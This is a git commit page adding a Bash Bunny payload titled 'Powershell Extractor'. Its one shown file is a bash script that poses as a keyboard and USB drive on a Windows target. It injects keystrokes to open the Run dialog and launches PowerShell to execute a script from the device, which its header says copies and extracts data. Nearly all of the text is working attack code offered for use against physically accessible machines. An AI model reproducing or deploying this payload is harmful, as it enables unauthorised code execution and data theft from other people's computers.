Added PowershellTCPExtractor (#144)

This commit is contained in:
SirLurkSalot
2017-04-06 23:49:35 -05:00
committed by Sebastian Kinne
parent 19c581613a
commit fc1d812d96
4 changed files with 89 additions and 0 deletions

View File

@@ -0,0 +1,21 @@
#!/bin/bash
#
# Title: Powershell Extractor
# Author: $irLurk$alot
# Version: 1.0
# Target: Windows
#
# Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
# which in turn runs powershell script to copy move and extract data.
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
source bunny_helpers.sh
LED R 100
ATTACKMODE HID STORAGE
QUACK GUI r
QUACK DELAY 100
LED R B 100
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')"
QUACK ENTER
LED R G B